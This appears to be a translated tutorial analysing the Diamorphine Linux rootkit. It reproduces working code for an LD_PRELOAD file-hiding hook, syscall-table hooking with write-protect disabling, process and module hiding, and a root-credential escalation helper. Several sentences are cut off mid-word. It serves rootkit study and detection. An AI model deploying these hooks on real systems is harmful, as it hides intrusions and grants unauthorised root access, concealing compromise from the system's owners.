Diamorphine LKM Rootkit — Translation and Analysis


From user space: peeking at rootkits

The snippet below implements a basic file-hiding hack using LD_PRELOAD (hidefile.c):

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <string.h>

#define HIDE_FILE "hidefile"
typedef struct dirent* (*ls_t)(DIR*);
struct dirent* readdir(DIR* dirp) {
    ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
    struct dirent* entry;
    do {
        entry = original_readdir(dirp);
    } while (entry != NULL && strcmp(entry->d_name, HIDE_FILE) == 0);
    return entry;
}

The logic is straightforward: hijack readdir, and if the returned entry name matches HIDE_FILE, skip it and continue calling the original readdir until a non-matching entry is found (or NULL).

As a result, programs that use readdir (for example, ls) will not see the file named “hidefile”.

Build and run:

gcc -shared -fPIC -o hidefile.so hidefile.c -ldl
export LD_PRELOAD=$(realpath hidefile.so)

This LM_PRELOAD trick demonstrates a simple user-space rootkit technique. There are many further refinements and higher-priority techniques, but those are beyond the scope of this article — readers […]


LKM: “Hello, world”

First, ensure kernel headers are installed:

  • Ubuntu/Debian: sudo apt-get install linux-headers-$(uname -r)
  • CentOS/Fedora: sudo yum install kernel-devel-$(uname -r)

A minimal kernel module example:

#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
static int __init example_init(void)
{
    printk(KERN_INFO "Hello, world!\n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, world!\n");
}

module_init(example_init);
module_exit(example_exit);

When the module is loaded it prints “Hello, world!”; when removed it prints “Goodbye, world!” to the kernel log.

Common commands: insmod to insert a module, rmmod to remove it, lsmod to list loaded modules.


Analyzing Diamorphine: an LKM rootkit primer

Repository: https://github.com/m0nad/Diamorphine

The main implementation (diamorphine.c) is about 400 lines. diamorphine.h contains configuration macros. Notable configuration items:

  • MAGIC_PREFIX: filenames or directories that start with this prefix will be hidden.
  • MODULE_NAME: the kernel module name.

Diamorphine also defines three signals for control via kill:

  • SIGINVIS = 31: hide/unhide a process.
  • SIGSUPER = 64: obtain a root shell.
  • SIGMODINVIS = 63: hide/unhide the kernel module itself (module is hidden by default).

If you choose custom signals they must fall into the range accepted by kill.


Initialization and cleanup

At the bottom of diamorphine.c you can see the module init and exit bindings: module_init(diamorphine_init); and module_exit(diamorphine_cleanup);.

The init function (abridged) looks like this:

static int __init
diamorphine_init(void)
{
    __sys_call_table = get_syscall_table_bf();
    if (!__sys_call_table)
        return -1;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
    cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
    update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
    start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
    init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

    module_hide();
    tidy();

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
    orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
    orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
    orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
    orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
    orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

    unprotect_memory();

    __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
    __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
    __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

    protect_memory();

    return 0;
}

Briefly:

  1. get_syscall_table_bf() obtains the address of the system call table. If it fails the init returns -1.
  2. Depending on the architecture (x86/x86_64 vs ARM64) it records CR0 or looks up certain kernel symbols via kallsyms_lookup_name.
  3. module_hide() removes the module from the module list so lsmod cannot see it.
  4. tidy() frees and NULLs module attributes to avoid dangling pointers.
  5. The original syscall pointers for getdents, getdents64, and kill are saved.
  6. The code disables write-protection, replaces entries in the syscall table with hacked_* hooks, and then restores protection.

If the module is unloaded the cleanup restores the original syscall pointers:

static void __exit diamorphine_cleanup(void)
{
    unprotect_memory();

    __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
    __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
    __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

    protect_memory();
}

Finding the syscall table: get_syscall_table_bf()

The function returns an unsigned long * pointer to the syscall table. Its implementation differs by kernel version. For kernels newer than 4.4, it uses kallsyms_lookup_name("sys_call_table") — o[…]

Background notes:

  • System call table: a kernel table that stores entry addresses for system calls. When a process invokes a syscall it jumps into the kernel at the corresponding table entry.
  • Kernel probes (kprobes): a mechanism to register probes for kernel functions; register_kprobe(&kp) registers a probe described by kp. Diamorphine sometimes uses a kprobe to obtain the address of[…]

References on kprobes and kernel symbol lookup are useful when reading the implementation.


Memory protection and architecture differences

Diamorphine checks architecture macros using IS_ENABLED(). On x86/x86_64 it reads CR0 (control register) to later toggle the write-protect bit (WP). On ARM64 it looks up update_mapping_prot, `__st[…]

The unprotect_memory() function clears the WP bit (or updates page mappings on ARM64) so the module can modify the read-only syscall table:

static inline void unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
    write_cr0_forced(cr0 & ~0x00010000);
#else
    write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
    update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
            section_size, PAGE_KERNEL);
#endif
}

protect_memory() reverses the change after the hooks are installed.


Hiding files: hooking getdents/getdents64

User-space listing utilities (like ls) ultimately use the getdents/getdents64 syscalls. By hooking those syscalls and filtering directory entries in the buffer returned to user space, the rootki[…]

Below is the key logic from hacked_getdents64 (abridged):

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
    int fd = (int) pt_regs->di;
    struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
    int fd = (int) pt_regs->regs[0];
    struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
    int ret = orig_getdents64(pt_regs), err;
    // ...
    if (ret <= 0)
        return ret;

    kdirent = kzalloc(ret, GFP_KERNEL);
    if (kdirent == NULL)
        return ret;

    err = copy_from_user(kdirent, dirent, ret);
    if (err)
        goto out;

    // identify whether listing /proc root
    d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
    if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
        proc = 1;

    while (off < ret) {
        dir = (void *)kdirent + off;
        if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
            || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
            if (dir == kdirent) {
                ret -= dir->d_reclen;
                memmove(dir, (void *)dir + dir->d_reclen, ret);
                continue;
            }
            prev->d_reclen += dir->d_reclen;
        } else
            prev = dir;
        off += dir->d_reclen;
    }

    err = copy_to_user(dirent, kdirent, ret);
    // ...
out:
    kfree(kdirent);
    return ret;
}
#endif

High-level summary of the steps:

  1. Call the original syscall to fill the user-space buffer, and capture the return size ret.
  2. Allocate a kernel buffer kdirent of size ret and copy the returned data from user space into it with copy_from_user.
  3. Iterate directory entries in kdirent. For each entry: if MAGIC_PREFIX matches the start of the filename, or (for /proc) the PID is listed as invisible, remove the entry by either memmoving th[…]
  4. Copy the filtered buffer back to user space with copy_to_user and return the adjusted size.

This is conceptually the same as the earlier LD_PRELOAD readdir trick, but performed in kernel space by intercepting the syscalls that provide directory entries.


Hiding processes

Processes are hidden by toggling a per-task flag PF_INVISIBLE on the corresponding task_struct. The code uses a helper find_task(pid) and then flips the flag: task->flags ^= PF_INVISIBLE;

If find_task returns NULL the code returns -ESRCH (no such process). PF_INVISIBLE in Diamorphine is a custom-defined flag used to mark a task as hidden. The kernel defines many PF_* flags for[…]

The XOR toggle is a neat trick: if the bit was previously unset it becomes set (hidden); if it was set it gets cleared (unhidden). Because this flag is not a standard kernel-observed bit, it effective[…]


Privilege escalation (getting root)

The rootkit implements a small give_root() helper that sets UID/GID fields to 0. For older kernels it directly overwrites current->uid/euid etc.; for newer kernels it uses prepare_creds()/`com[…]

A simplified excerpt:

void give_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
    current->uid = current->gid = 0;
    current->euid = current->egid = 0;
    current->suid = current->sgid = 0;
    current->fsuid = current->fsgid = 0;
#else
    struct cred *newcreds;
    newcreds = prepare_creds();
    if (newcreds == NULL)
        return;
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \n        && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \n        || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
        newcreds->uid.val = newcreds->gid.val = 0;
        newcreds->euid.val = newcreds->egid.val = 0;
        newcreds->suid.val = newcreds->sgid.val = 0;
        newcreds->fsuid.val = newcreds->fsgid.val = 0;
    #else
        newcreds->uid = newcreds->gid = 0;
        newcreds->euid = newcreds->egid = 0;
        newcreds->suid = newcreds->sgid = 0;
        newcreds->fsuid = newcreds->fsgid = 0;
    #endif
    commit_creds(newcreds);
#endif
}

This gives the current task UID/GID 0 (root) by modifying the credentials.


Closing notes

Diamorphine is a compact, instructive example of an LKM rootkit that demonstrates common techniques: locating the syscall table, disabling write protection, replacing syscall pointers, filtering direc[…]

If you study the real project repository you will see more details, ioctl handlers or other control mechanisms, and niceties to support multiple kernel versions and architectures.

This translation aims to be faithful to the original article while improving formatting and adding in-line clarifications. If you want, I can adjust the tone, add diagrams, or split the content into m[…]